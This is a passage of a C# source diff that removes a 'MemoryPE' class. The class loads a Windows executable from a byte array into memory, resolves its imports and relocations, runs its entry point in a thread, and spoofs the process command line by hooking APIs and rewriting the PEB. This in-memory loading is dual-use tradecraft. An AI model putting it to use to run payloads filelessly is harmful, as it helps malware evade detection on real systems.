IMAGE_DIRECTORY_ENTRY_BASERELOC = 5; - private const int IMAGE_DIRECTORY_ENTRY_DEBUG = 6; - private const int IMAGE_DIRECTORY_ENTRY_COPYRIGHT = 7; - private const int IMAGE_DIRECTORY_ENTRY_GLOBALPTR = 8; - private const int IMAGE_DIRECTORY_ENTRY_TLS = 9; - private const int IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG = 10; - private const int IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT = 11; - private const int IMAGE_DIRECTORY_ENTRY_IAT = 12; - private const int IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT = 13; - private const int IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR = 14; - - // Section characteristics - private const uint IMAGE_SCN_MEM_EXECUTE = 0x20000000; - private const uint IMAGE_SCN_MEM_READ = 0x40000000; - private const uint IMAGE_SCN_MEM_WRITE = 0x80000000; - - // Relocation types - private const int IMAGE_REL_BASED_ABSOLUTE = 0; - private const int IMAGE_REL_BASED_HIGH = 1; - private const int IMAGE_REL_BASED_LOW = 2; - private const int IMAGE_REL_BASED_HIGHLOW = 3; - private const int IMAGE_REL_BASED_HIGHADJ = 4; - private const int IMAGE_REL_BASED_DIR64 = 10; - - // Subsystem values - private const ushort IMAGE_SUBSYSTEM_WINDOWS_GUI = 2; - private const ushort IMAGE_SUBSYSTEM_WINDOWS_CUI = 3; - - #endregion - - #region Structures - - [StructLayout(LayoutKind.Sequential)] - private struct IMAGE_DOS_HEADER - { - public ushort e_magic; // Magic number - public ushort e_cblp; // Bytes on last page of file - public ushort e_cp; // Pages in file - public ushort e_crlc; // Relocations - public ushort e_cparhdr; // Size of header in paragraphs - public ushort e_minalloc; // Minimum extra paragraphs needed - public ushort e_maxalloc; // Maximum extra paragraphs needed - public ushort e_ss; // Initial (relative) SS value - public ushort e_sp; // Initial SP value - public ushort e_csum; // Checksum - public ushort e_ip; // Initial IP value - public ushort e_cs; // Initial (relative) CS value - public ushort e_lfarlc; // File address of relocation table - public ushort e_ovno; // Overlay number - [MarshalAs(UnmanagedType.ByValArray, SizeConst = 4)] - public ushort[] e_res1; // Reserved words - public ushort e_oemid; // OEM identifier (for e_oeminfo) - public ushort e_oeminfo; // OEM information; e_oemid specific - [MarshalAs(UnmanagedType.ByValArray, SizeConst = 10)] - public ushort[] e_res2; // Reserved words - public int e_lfanew; // File address of new exe header - } - - [StructLayout(LayoutKind.Sequential)] - private struct IMAGE_FILE_HEADER - { - public ushort Machine; - public ushort NumberOfSections; - public uint TimeDateStamp; - public uint PointerToSymbolTable; - public uint NumberOfSymbols; - public ushort SizeOfOptionalHeader; - public ushort Characteristics; - } - - [StructLayout(LayoutKind.Sequential)] - private struct IMAGE_DATA_DIRECTORY - { - public uint VirtualAddress; - public uint Size; - } - - [StructLayout(LayoutKind.Sequential)] - private struct IMAGE_OPTIONAL_HEADER32 - { - public ushort Magic; - public byte MajorLinkerVersion; - public byte MinorLinkerVersion; - public uint SizeOfCode; - public uint SizeOfInitializedData; - public uint SizeOfUninitializedData; - public uint AddressOfEntryPoint; - public uint BaseOfCode; - public uint BaseOfData; - public uint ImageBase; - public uint SectionAlignment; - public uint FileAlignment; - public ushort MajorOperatingSystemVersion; - public ushort MinorOperatingSystemVersion; - public ushort MajorImageVersion; - public ushort MinorImageVersion; - public ushort MajorSubsystemVersion; - public ushort MinorSubsystemVersion; - public uint Win32VersionValue; - public uint SizeOfImage; - public uint SizeOfHeaders; - public uint CheckSum; - public ushort Subsystem; - public ushort DllCharacteristics; - public uint SizeOfStackReserve; - public uint SizeOfStackCommit; - public uint SizeOfHeapReserve; - public uint SizeOfHeapCommit; - public uint LoaderFlags; - public uint NumberOfRvaAndSizes; - [MarshalAs(UnmanagedType.ByValArray, SizeConst = 16)] - public IMAGE_DATA_DIRECTORY[] DataDirectory; - } - - [StructLayout(LayoutKind.Sequential)] - private struct IMAGE_OPTIONAL_HEADER64 - { - public ushort Magic; - public byte MajorLinkerVersion; - public byte MinorLinkerVersion; - public uint SizeOfCode; - public uint SizeOfInitializedData; - public uint SizeOfUninitializedData; - public uint AddressOfEntryPoint; - public uint BaseOfCode; - public ulong ImageBase; - public uint SectionAlignment; - public uint FileAlignment; - public ushort MajorOperatingSystemVersion; - public ushort MinorOperatingSystemVersion; - public ushort MajorImageVersion; - public ushort MinorImageVersion; - public ushort MajorSubsystemVersion; - public ushort MinorSubsystemVersion; - public uint Win32VersionValue; - public uint SizeOfImage; - public uint SizeOfHeaders; - public uint CheckSum; - public ushort Subsystem; - public ushort DllCharacteristics; - public ulong SizeOfStackReserve; - public ulong SizeOfStackCommit; - public ulong SizeOfHeapReserve; - public ulong SizeOfHeapCommit; - public uint LoaderFlags; - public uint NumberOfRvaAndSizes; - [MarshalAs(UnmanagedType.ByValArray, SizeConst = 16)] - public IMAGE_DATA_DIRECTORY[] DataDirectory; - } - - [StructLayout(LayoutKind.Sequential)] - private struct IMAGE_NT_HEADERS32 - { - public uint Signature; - public IMAGE_FILE_HEADER FileHeader; - public IMAGE_OPTIONAL_HEADER32 OptionalHeader; - } - - [StructLayout(LayoutKind.Sequential)] - private struct IMAGE_NT_HEADERS64 - { - public uint Signature; - public IMAGE_FILE_HEADER FileHeader; - public IMAGE_OPTIONAL_HEADER64 OptionalHeader; - } - - [StructLayout(LayoutKind.Sequential)] - private struct IMAGE_SECTION_HEADER - { - [MarshalAs(UnmanagedType.ByValArray, SizeConst = 8)] - public byte[] Name; - public uint PhysicalAddress; - public uint VirtualAddress; - public uint SizeOfRawData; - public uint PointerToRawData; - public uint PointerToRelocations; - public uint PointerToLinenumbers; - public ushort NumberOfRelocations; - public ushort NumberOfLinenumbers; - public uint Characteristics; - } - - [StructLayout(LayoutKind.Sequential)] - private struct IMAGE_IMPORT_DESCRIPTOR - { - public uint OriginalFirstThunk; - public uint TimeDateStamp; - public uint ForwarderChain; - public uint Name; - public uint FirstThunk; - } - - [StructLayout(LayoutKind.Sequential)] - private struct IMAGE_THUNK_DATA32 - { - public uint ForwarderString; // PBYTE - public uint Function; // PDWORD - public uint Ordinal; // DWORD - public uint AddressOfData; // PIMAGE_IMPORT_BY_NAME - } - - [StructLayout(LayoutKind.Sequential)] - private struct IMAGE_THUNK_DATA64 - { - public ulong ForwarderString; // PBYTE - public ulong Function; // PDWORD - public ulong Ordinal; // DWORD - public ulong AddressOfData; // PIMAGE_IMPORT_BY_NAME - } - - [StructLayout(LayoutKind.Sequential)] - private struct IMAGE_IMPORT_BY_NAME - { - public ushort Hint; - // Variable length array of bytes follows - // char Name[1]; - } - - [StructLayout(LayoutKind.Sequential)] - private struct IMAGE_BASE_RELOCATION - { - public uint VirtualAddress; - public uint SizeOfBlock; - } - - [StructLayout(LayoutKind.Sequential)] - private struct IMAGE_EXPORT_DIRECTORY - { - public uint Characteristics; - public uint TimeDateStamp; - public ushort MajorVersion; - public ushort MinorVersion; - public uint Name; - public uint Base; - public uint NumberOfFunctions; - public uint NumberOfNames; - public uint AddressOfFunctions; - public uint AddressOfNames; - public uint AddressOfNameOrdinals; - } - - // Process Environment Block related structures - [StructLayout(LayoutKind.Sequential)] - private struct PROCESS_BASIC_INFORMATION - { - public IntPtr Reserved1; - public IntPtr PebBaseAddress; - [MarshalAs(UnmanagedType.ByValArray, SizeConst = 2)] - public IntPtr[] Reserved2; - public IntPtr UniqueProcessId; - public IntPtr Reserved3; - } - - [StructLayout(LayoutKind.Sequential)] - private struct RTL_USER_PROCESS_PARAMETERS - { - public ushort Length; - public ushort MaximumLength; - [MarshalAs(UnmanagedType.ByValArray, SizeConst = 4)] - public byte[] Reserved1; - public IntPtr Reserved2; - public IntPtr ImagePathName; - public IntPtr CommandLine; - } - - [StructLayout(LayoutKind.Sequential)] - public struct CONTEXT - { - // This is simplified - the actual structure is more complex and differs between x86/x64 - public ulong Rax; - public ulong Rbx; - public ulong Rcx; - public ulong Rdx; - public ulong Rsp; - public ulong Rbp; - public ulong Rsi; - public ulong Rdi; - public ulong R8; - public ulong R9; - public ulong R10; - public ulong R11; - public ulong R12; - public ulong R13; - public ulong R14; - public ulong R15; - public ulong Rip; // Instruction pointer - // Many more fields are needed in real implementation - } - - [StructLayout(LayoutKind.Sequential)] - public struct EXCEPTION_RECORD - { - public uint ExceptionCode; - public uint ExceptionFlags; - public IntPtr ExceptionRecord; - public IntPtr ExceptionAddress; - public uint NumberParameters; - [MarshalAs(UnmanagedType.ByValArray, SizeConst = 15)] - public IntPtr[] ExceptionInformation; - } - - [StructLayout(LayoutKind.Sequential)] - public struct EXCEPTION_POINTERS - { - public IntPtr ExceptionRecord; - public IntPtr ContextRecord; - } - - // Main entry point delegate for PE files - [UnmanagedFunctionPointer(CallingConvention.StdCall)] - private delegate int EntryPointDelegate(IntPtr hInstance, uint reason, IntPtr reserved); - - #endregion - - #region Fields - - private IntPtr _baseAddress; - private bool _disposed; - private readonly Dictionary _modules; - private readonly bool _is64Bit; - private readonly ulong _imageBase; - private readonly uint _sizeOfImage; - private readonly IntPtr _entryPoint; - private readonly ushort _subsystem; - private string _commandLine; - private GCHandle _commandLineHandle; - private IntPtr _commandLinePtr; - private IntPtr _originalCommandLinePtr; - - // Command line API hooking - private CommandLineHooking _commandLineHooking; - - #endregion - - #region Properties - - /// - /// Gets the base address where the PE file is loaded in memory. - /// - public IntPtr BaseAddress => _baseAddress; - - /// - /// Gets the entry point address of the loaded PE file. - /// - public IntPtr EntryPoint => _entryPoint; - - /// - /// Gets a value indicating whether the loaded PE file is 64-bit. - /// - public bool Is64Bit => _is64Bit; - - /// - /// Gets a value indicating whether the loaded PE file is a GUI application. - /// - public bool IsGuiApplication => _subsystem == IMAGE_SUBSYSTEM_WINDOWS_GUI; - - #endregion - - #region Constructor and Finalizer - - /// - /// Loads a PE file from a byte array into memory. - /// - /// The PE file bytes to load. - /// Optional command line string that will be visible to the PE file. - public MemoryPE(byte[] peBytes, string commandLine = null) - { - if (peBytes == null || peBytes.Length == 0) - throw new ArgumentNullException(nameof(peBytes)); - - _modules = new Dictionary(StringComparer.OrdinalIgnoreCase); - _commandLine = commandLine; - - // Parse the PE header to determine if it's a 32-bit or 64-bit executable - GCHandle pinnedArray = GCHandle.Alloc(peBytes, GCHandleType.Pinned); - try - { - IntPtr ptrData = pinnedArray.AddrOfPinnedObject(); - - // Read the DOS header - IMAGE_DOS_HEADER dosHeader = (IMAGE_DOS_HEADER)Marshal.PtrToStructure(ptrData, typeof(IMAGE_DOS_HEADER)); - if (dosHeader.e_magic != 0x5A4D) // "MZ" - throw new BadImageFormatException("Invalid DOS header signature."); - - // Read the PE header - IntPtr ptrNtHeader = IntPtr.Add(ptrData, dosHeader.e_lfanew); - uint peSignature = (uint)Marshal.ReadInt32(ptrNtHeader); - if (peSignature != 0x00004550) // "PE\0\0" - throw new BadImageFormatException("Invalid PE header signature."); - - // Read the file header - IntPtr ptrFileHeader = IntPtr.Add(ptrNtHeader, 4); - IMAGE_FILE_HEADER fileHeader = (IMAGE_FILE_HEADER)Marshal.PtrToStructure(ptrFileHeader, typeof(IMAGE_FILE_HEADER)); - - // Check optional header magic to determine if it's 32-bit or 64-bit - IntPtr ptrOptionalHeader = IntPtr.Add(ptrFileHeader, Marshal.SizeOf(typeof(IMAGE_FILE_HEADER))); - ushort magic = (ushort)Marshal.ReadInt16(ptrOptionalHeader); - - if (magic == OPTIONAL_HEADER32_MAGIC) - { - _is64Bit = false; - IMAGE_OPTIONAL_HEADER32 optionalHeader = (IMAGE_OPTIONAL_HEADER32)Marshal.PtrToStructure(ptrOptionalHeader, typeof(IMAGE_OPTIONAL_HEADER32)); - _imageBase = optionalHeader.ImageBase; - _sizeOfImage = optionalHeader.SizeOfImage; - _subsystem = optionalHeader.Subsystem; - } - else if (magic == OPTIONAL_HEADER64_MAGIC) - { - _is64Bit = true; - IMAGE_OPTIONAL_HEADER64 optionalHeader = (IMAGE_OPTIONAL_HEADER64)Marshal.PtrToStructure(ptrOptionalHeader, typeof(IMAGE_OPTIONAL_HEADER64)); - _imageBase = optionalHeader.ImageBase; - _sizeOfImage = optionalHeader.SizeOfImage; - _subsystem = optionalHeader.Subsystem; - } - else - { - throw new BadImageFormatException("Invalid optional header magic value."); - } - - // Allocate memory for the PE file at the preferred base address if possible - _baseAddress = VirtualAlloc(new IntPtr((long)_imageBase), (UIntPtr)_sizeOfImage, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); - - // If allocation at preferred base address failed, allocate at any available address - if (_baseAddress == IntPtr.Zero) - { - _baseAddress = VirtualAlloc(IntPtr.Zero, (UIntPtr)_sizeOfImage, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); - if (_baseAddress == IntPtr.Zero) - throw new OutOfMemoryException("Failed to allocate memory for PE file."); - } - - try - { - // Copy the headers - uint headerSize = _is64Bit - ? ((IMAGE_OPTIONAL_HEADER64)Marshal.PtrToStructure(ptrOptionalHeader, typeof(IMAGE_OPTIONAL_HEADER64))).SizeOfHeaders - : ((IMAGE_OPTIONAL_HEADER32)Marshal.PtrToStructure(ptrOptionalHeader, typeof(IMAGE_OPTIONAL_HEADER32))).SizeOfHeaders; - - if (headerSize > peBytes.Length) - throw new BadImageFormatException("Header size is larger than the PE data."); - - Marshal.Copy(peBytes, 0, _baseAddress, (int)headerSize); - - // Map sections - IntPtr ptrSectionHeader = _is64Bit - ? IntPtr.Add(ptrOptionalHeader, Marshal.SizeOf(typeof(IMAGE_OPTIONAL_HEADER64))) - : IntPtr.Add(ptrOptionalHeader, Marshal.SizeOf(typeof(IMAGE_OPTIONAL_HEADER32))); - - for (int i = 0; i < fileHeader.NumberOfSections; i++) - { - IMAGE_SECTION_HEADER sectionHeader = (IMAGE_SECTION_HEADER)Marshal.PtrToStructure(ptrSectionHeader, typeof(IMAGE_SECTION_HEADER)); - - if (sectionHeader.SizeOfRawData > 0) - { - if (sectionHeader.PointerToRawData + sectionHeader.SizeOfRawData > peBytes.Length) - throw new BadImageFormatException("Section data extends beyond the PE data."); - - IntPtr destAddress = IntPtr.Add(_baseAddress, (int)sectionHeader.VirtualAddress); - - // Copy section data - Marshal.Copy(peBytes, (int)sectionHeader.PointerToRawData, destAddress, (int)sectionHeader.SizeOfRawData); - } - - ptrSectionHeader = IntPtr.Add(ptrSectionHeader, Marshal.SizeOf(typeof(IMAGE_SECTION_HEADER))); - } - - // Process imports - ProcessImports(); - - // Process relocations if necessary - if (_baseAddress.ToInt64() != (long)_imageBase) - { - ProcessRelocations(); - } - - // Set up custom command line if specified - SetupCommandLine(); - - // Set proper memory protection for sections - ProtectMemory(); - - // Get the entry point - uint entryPointRva = _is64Bit - ? ((IMAGE_OPTIONAL_HEADER64)Marshal.PtrToStructure(IntPtr.Add(_baseAddress, dosHeader.e_lfanew + 4 + Marshal.SizeOf(typeof(IMAGE_FILE_HEADER))), typeof(IMAGE_OPTIONAL_HEADER64))).AddressOfEntryPoint - : ((IMAGE_OPTIONAL_HEADER32)Marshal.PtrToStructure(IntPtr.Add(_baseAddress, dosHeader.e_lfanew + 4 + Marshal.SizeOf(typeof(IMAGE_FILE_HEADER))), typeof(IMAGE_OPTIONAL_HEADER32))).AddressOfEntryPoint; - - if (entryPointRva != 0) - { - _entryPoint = IntPtr.Add(_baseAddress, (int)entryPointRva); - } - else - { - throw new InvalidOperationException("PE file has no entry point."); - } - } - catch - { - VirtualFree(_baseAddress, UIntPtr.Zero, MEM_RELEASE); - _baseAddress = IntPtr.Zero; - throw; - } - } - finally - { - if (pinnedArray.IsAllocated) - pinnedArray.Free(); - } - } - - ~MemoryPE() - { - Dispose(false); - } - - #endregion - - #region Public Methods - - /// - /// Executes the loaded PE file in a separate thread. - /// - /// Whether to wait for the thread to exit. - /// The maximum time to wait for the thread to exit, in milliseconds, or Timeout.Infinite (-1) to wait indefinitely. - /// The exit code returned by the thread, or null if waitForExit is false or the thread did not exit within the timeout. - public int? ExecuteInThread(bool waitForExit = true, int timeout = -1) - { - if (_disposed) - throw new ObjectDisposedException(nameof(MemoryPE)); - - if (_baseAddress == IntPtr.Zero) - throw new InvalidOperationException("PE file is not loaded."); - - if (_entryPoint == IntPtr.Zero) - throw new InvalidOperationException("PE file has no entry point."); - - // Create a thread for execution - uint threadId; - IntPtr hThread = CreateThread(IntPtr.Zero, 0, _entryPoint, _baseAddress, 0, out threadId); - - if (hThread == IntPtr.Zero) - throw new InvalidOperationException("Failed to create thread for PE execution."); - - try - { - if (waitForExit) - { - uint waitResult = WaitForSingleObject(hThread, timeout <= 0 ? INFINITE : (uint)timeout); - - if (waitResult == WAIT_OBJECT_0) - { - uint exitCode; - if (GetExitCodeThread(hThread, out exitCode)) - { - return (int)exitCode; - } - } - else if (waitResult == WAIT_TIMEOUT) - { - // Timeout occurred - return null; - } - else - { - throw new InvalidOperationException("Failed to wait for PE execution thread."); - } - } - - return null; - } - finally - { - CloseHandle(hThread); - } - } - - #endregion - - #region Private Methods - private void SetupCommandLine() - { - // If no command line was specified, don't modify anything - if (string.IsNullOrEmpty(_commandLine)) - return; - - // Apply both PEB modification and API hooking for maximum compatibility - - // 1. First, set up API hooking (this works for most applications) - try - { - _commandLineHooking = new CommandLineHooking(_commandLine, _is64Bit); - _commandLineHooking.ApplyHooks(); - //Console.WriteLine("[Debug] GetCommandLine API hooks applied successfully"); - } - catch (Exception ex) - { - Console.WriteLine($"[Warning] Failed to apply GetCommandLine API hooks: {ex.Message}"); - // Continue even if hooking fails - we'll still try PEB modification - } - - // 2. Set up PEB modification (works for applications that read PEB directly) - try - { - // Save the original command line pointer for restoration during cleanup - _originalCommandLinePtr = GetCommandLine(); - - // Ensure the command line ends with a null terminator (for wide strings) - if (!_commandLine.EndsWith("\0")) - _commandLine += "\0"; - - // Allocate memory for our custom command line string and pin it - // We need to pin it so the GC doesn't move it around - _commandLineHandle = GCHandle.Alloc(_commandLine, GCHandleType.Pinned); - _commandLinePtr = _commandLineHandle.AddrOfPinnedObject(); - - // Get the process environment block (PEB) - PROCESS_BASIC_INFORMATION pbi = new PROCESS_BASIC_INFORMATION(); - int returnLength; - - int status = NtQueryInformationProcess( - GetCurrentProcess(), - ProcessBasicInformation, - ref pbi, - Marshal.SizeOf(typeof(PROCESS_BASIC_INFORMATION)), - out returnLength - ); - - if (!NT_SUCCESS(status)) - throw new InvalidOperationException($"Failed to query process information: 0x{status:X8}"); - - // This is a more reliable way to access the ProcessParameters - // The offsets can vary depending on the Windows version and bitness - IntPtr pebBaseAddress = pbi.PebBaseAddress; - - // Get the ProcessParameters pointer from the PEB - // RTL_USER_PROCESS_PARAMETERS is at offset 0x20 in 64-bit and 0x10 in 32-bit - IntPtr processParamsPtr = Marshal.ReadIntPtr( - IntPtr.Add(pebBaseAddress, _is64Bit ? 0x20 : 0x10) - ); - - if (processParamsPtr == IntPtr.Zero) - throw new InvalidOperationException("Failed to find ProcessParameters in PEB"); - - // Now we need to find the CommandLine UNICODE_STRING structure - // This is a more robust approach to find it - IntPtr commandLinePtr; - ushort commandLineMaxLength, commandLineLength; - - // In the RTL_USER_PROCESS_PARAMETERS struct: - // - CommandLine is a UNICODE_STRING - // - The offsets of CommandLine in 64-bit: 0x70 (buffer pointer), 0x68 (length), 0x6A (max length) - // - The offsets of CommandLine in 32-bit: 0x40 (buffer pointer), 0x38 (length), 0x3A (max length) - if (_is64Bit) - { - commandLinePtr = IntPtr.Add(processParamsPtr, 0x70); - commandLineLength = (ushort)Marshal.ReadInt16(IntPtr.Add(processParamsPtr, 0x68)); - commandLineMaxLength = (ushort)Marshal.ReadInt16(IntPtr.Add(processParamsPtr, 0x6A)); - } - else - { - commandLinePtr = IntPtr.Add(processParamsPtr, 0x40); - commandLineLength = (ushort)Marshal.ReadInt16(IntPtr.Add(processParamsPtr, 0x38)); - commandLineMaxLength = (ushort)Marshal.ReadInt16(IntPtr.Add(processParamsPtr, 0x3A)); - } - - // Get the original command line buffer pointer for restoration later - _originalCommandLinePtr = Marshal.ReadIntPtr(commandLinePtr); - - // Calculate the new length in bytes (UTF-16 = 2 bytes per char) - // -1 to exclude the null terminator from the length - ushort newLength = (ushort)((_commandLine.Length - 1) * 2); - ushort newMaxLength = (ushort)(_commandLine.Length * 2); - - // Make the memory writable - uint oldProtect; - IntPtr lengthPtr = IntPtr.Add(processParamsPtr, _is64Bit ? 0x68 : 0x38); - IntPtr maxLengthPtr = IntPtr.Add(processParamsPtr, _is64Bit ? 0x6A : 0x3A); - - // Protect the memory for writing - if (!VirtualProtect(lengthPtr, (UIntPtr)4, PAGE_READWRITE, out oldProtect)) - throw new InvalidOperationException("Failed to change memory protection for command line structure"); - - try - { - // Update the UNICODE_STRING structure - // 1. Length (in bytes) - Marshal.WriteInt16(lengthPtr, (short)newLength); - - // 2. MaximumLength (in bytes) - Marshal.WriteInt16(maxLengthPtr, (short)newMaxLength); - - // 3. Buffer pointer - Marshal.WriteIntPtr(commandLinePtr, _commandLinePtr); - } - finally - { - // Restore the original protection - VirtualProtect(lengthPtr, (UIntPtr)4, oldProtect, out _); - } - - // For debugging, let's verify our changes - string newCommandLine = Marshal.PtrToStringUni(GetCommandLine()); - Console.WriteLine($"[Debug] New command line via PEB: {newCommandLine}"); - } - catch (Exception ex) - { - Console.WriteLine($"[Warning] Failed to modify PEB command line: {ex.Message}"); - - // If PEB modification failed but API hooking succeeded, we're still good - if (_commandLineHooking == null) - { - // Both methods failed, clean up and throw - if (_commandLineHandle.IsAllocated) - _commandLineHandle.Free(); - - _commandLinePtr = IntPtr.Zero; - throw new InvalidOperationException("Failed to set up command line - both PEB modification and API hooking failed", ex); - } - } - } - - private void ProcessImports() - { - // Get pointers to PE headers - IMAGE_DOS_HEADER dosHeader = (IMAGE_DOS_HEADER)Marshal.PtrToStructure(_baseAddress, typeof(IMAGE_DOS_HEADER)); - IntPtr ptrNtHeader = IntPtr.Add(_baseAddress, dosHeader.e_lfanew); - - // Get import directory - IMAGE_DATA_DIRECTORY importDirectory; - if (_is64Bit) - { - IMAGE_NT_HEADERS64 ntHeaders = (IMAGE_NT_HEADERS64)Marshal.PtrToStructure(ptrNtHeader, typeof(IMAGE_NT_HEADERS64)); - importDirectory = ntHeaders.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT]; - } - else - { - IMAGE_NT_HEADERS32 ntHeaders = (IMAGE_NT_HEADERS32)Marshal.PtrToStructure(ptrNtHeader, typeof(IMAGE_NT_HEADERS32)); - importDirectory = ntHeaders.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT]; - } - - if (importDirectory.VirtualAddress == 0 || importDirectory.Size == 0) - return; // No imports - - IntPtr ptrImportDesc = IntPtr.Add(_baseAddress, (int)importDirectory.VirtualAddress); - int index = 0; - - while (true) - { - IMAGE_IMPORT_DESCRIPTOR importDesc = (IMAGE_IMPORT_DESCRIPTOR)Marshal.PtrToStructure( - IntPtr.Add(ptrImportDesc, index * Marshal.SizeOf(typeof(IMAGE_IMPORT_DESCRIPTOR))), - typeof(IMAGE_IMPORT_DESCRIPTOR)); - - // End of import descriptors - if (importDesc.Name == 0) - break; - - // Get the DLL name - IntPtr ptrDllName = IntPtr.Add(_baseAddress, (int)importDesc.Name); - string dllName = Marshal.PtrToStringAnsi(ptrDllName); - - // Load the DLL - IntPtr hModule; - if (!_modules.TryGetValue(dllName, out hModule)) - { - hModule = LoadLibrary(dllName); - if (hModule == IntPtr.Zero) - throw new DllNotFoundException($"Failed to load imported DLL: {dllName}"); - - _modules.Add(dllName, hModule); - } - - // Process the imports - IntPtr ptrFirstThunk = IntPtr.Add(_baseAddress, (int)importDesc.FirstThunk); - IntPtr ptrOriginalFirstThunk = importDesc.OriginalFirstThunk != 0 - ? IntPtr.Add(_baseAddress, (int)importDesc.OriginalFirstThunk) - : ptrFirstThunk; - - int thunkIndex = 0; - while (true) - { - IntPtr thunkAddress = IntPtr.Add(ptrFirstThunk, thunkIndex * (_is64Bit ? 8 : 4)); - IntPtr originalThunkAddress = IntPtr.Add(ptrOriginalFirstThunk, thunkIndex * (_is64Bit ? 8 : 4)); - - ulong thunkData = _is64Bit - ? (ulong)Marshal.ReadInt64(originalThunkAddress) - : (uint)Marshal.ReadInt32(originalThunkAddress); - - // End of imports for this DLL - if (thunkData == 0) - break; - - IntPtr functionAddress; - - if ((thunkData & (_is64Bit ? 0x8000000000000000 : 0x80000000)) != 0) - { - // Import by ordinal - uint ordinal = (uint)(thunkData & 0xFFFF); - functionAddress = GetProcAddressByOrdinal(hModule, (IntPtr)ordinal); - } - else - { - // Import by name - IntPtr ptrImportByName = IntPtr.Add(_baseAddress, (int)thunkData); - IMAGE_IMPORT_BY_NAME importByName = (IMAGE_IMPORT_BY_NAME)Marshal.PtrToStructure(ptrImportByName, typeof(IMAGE_IMPORT_BY_NAME)); - string functionName = Marshal.PtrToStringAnsi(IntPtr.Add(ptrImportByName, 2)); // Skip the Hint field (2 bytes) - functionAddress = GetProcAddress(hModule, functionName); - } - - if (functionAddress == IntPtr.Zero) - throw new EntryPointNotFoundException($"Failed to find imported function: {dllName} - Function index {thunkIndex}"); - - // Write the function address to the IAT - if (_is64Bit) - Marshal.WriteInt64(thunkAddress, functionAddress.ToInt64()); - else - Marshal.WriteInt32(thunkAddress, functionAddress.ToInt32()); - - thunkIndex++; - } - - index++; - } - } - - private void ProcessRelocations() - { - // Check if relocations are necessary - long delta = _baseAddress.ToInt64() - (long)_imageBase; - if (delta == 0) - return; // No relocations needed - - // Get pointers to PE headers - IMAGE_DOS_HEADER dosHeader = (IMAGE_DOS_HEADER)Marshal.PtrToStructure(_baseAddress, typeof(IMAGE_DOS_HEADER)); - IntPtr ptrNtHeader = IntPtr.Add(_baseAddress, dosHeader.e_lfanew); - - // Get relocation directory - IMAGE_DATA_DIRECTORY relocationDirectory; - if (_is64Bit) - { - IMAGE_NT_HEADERS64 ntHeaders = (IMAGE_NT_HEADERS64)Marshal.PtrToStructure(ptrNtHeader, typeof(IMAGE_NT_HEADERS64)); - relocationDirectory = ntHeaders.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC]; - } - else - { - IMAGE_NT_HEADERS32 ntHeaders = (IMAGE_NT_HEADERS32)Marshal.PtrToStructure(ptrNtHeader, typeof(IMAGE_NT_HEADERS32)); - relocationDirectory = ntHeaders.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC]; - } - - if (relocationDirectory.VirtualAddress == 0 || relocationDirectory.Size == 0) - return; // No relocations - - IntPtr ptrReloc = IntPtr.Add(_baseAddress, (int)relocationDirectory.VirtualAddress); - uint remainingSize = relocationDirectory.Size; - - while (remainingSize > 0) - { - IMAGE_BASE_RELOCATION relocation = (IMAGE_BASE_RELOCATION)Marshal.PtrToStructure(ptrReloc, typeof(IMAGE_BASE_RELOCATION)); - if (relocation.SizeOfBlock == 0) - break; - - // Get the number of entries in this block - int entriesCount = (int)(relocation.SizeOfBlock - Marshal.SizeOf(typeof(IMAGE_BASE_RELOCATION))) / 2; - - // Process each entry - for (int i = 0; i < entriesCount; i++) - { - // Read the relocation entry (2 bytes) - ushort entry = (ushort)Marshal.ReadInt16(IntPtr.Add(ptrReloc, Marshal.SizeOf(typeof(IMAGE_BASE_RELOCATION)) + i * 2)); - - // The high 4 bits indicate the type of relocation - int type = entry >> 12; - - // The low 12 bits indicate the offset from the base address of the relocation block - int offset = entry & 0xFFF; - - // Calculate the address to relocate - IntPtr ptrAddress = IntPtr.Add(_baseAddress, (int)relocation.VirtualAddress + offset); - - // Apply the relocation based on type - switch (type) - { - case IMAGE_REL_BASED_ABSOLUTE: - // Do nothing, it's a padding entry - break; - - case IMAGE_REL_BASED_HIGHLOW: - // 32-bit relocation - int value32 = Marshal.ReadInt32(ptrAddress); - Marshal.WriteInt32(ptrAddress, value32 + (int)delta); - break; - - case IMAGE_REL_BASED_DIR64: - // 64-bit relocation - long value64 = Marshal.ReadInt64(ptrAddress); - Marshal.WriteInt64(ptrAddress, value64 + delta); - break; - - case IMAGE_REL_BASED_HIGH: - // High 16-bits of a 32-bit relocation - ushort high = (ushort)Marshal.ReadInt16(ptrAddress); - Marshal.WriteInt16(ptrAddress, (short)(high + (short)((delta >> 16) & 0xFFFF))); - break; - - case IMAGE_REL_BASED_LOW: - // Low 16-bits of a 32-bit relocation - ushort low = (ushort)Marshal.ReadInt16(ptrAddress); - Marshal.WriteInt16(ptrAddress, (short)(low + (short)(delta & 0xFFFF))); - break; - - default: - throw new NotSupportedException($"Unsupported relocation type: {type}"); - } - } - - // Move to the next relocation block - ptrReloc = IntPtr.Add(ptrReloc, (int)relocation.SizeOfBlock); - remainingSize -= relocation.SizeOfBlock; - } - } - - private void ProtectMemory() - { - // Get pointers to PE headers - IMAGE_DOS_HEADER dosHeader = (IMAGE_DOS_HEADER)Marshal.PtrToStructure(_baseAddress, typeof(IMAGE_DOS_HEADER)); - IntPtr ptrNtHeader = IntPtr.Add(_baseAddress, dosHeader.e_lfanew); - - // Get the section headers - IntPtr ptrSectionHeader; - int numberOfSections; - - if (_is64Bit) - { - IMAGE_NT_HEADERS64 ntHeaders = (IMAGE_NT_HEADERS64)Marshal.PtrToStructure(ptrNtHeader, typeof(IMAGE_NT_HEADERS64)); - numberOfSections = ntHeaders.FileHeader.NumberOfSections; - ptrSectionHeader = IntPtr.Add(ptrNtHeader, Marshal.SizeOf(typeof(IMAGE_NT_HEADERS64))); - } - else - { - IMAGE_NT_HEADERS32 ntHeaders = (IMAGE_NT_HEADERS32)Marshal.PtrToStructure(ptrNtHeader, typeof(IMAGE_NT_HEADERS32)); - numberOfSections = ntHeaders.FileHeader.NumberOfSections; - ptrSectionHeader = IntPtr.Add(ptrNtHeader, 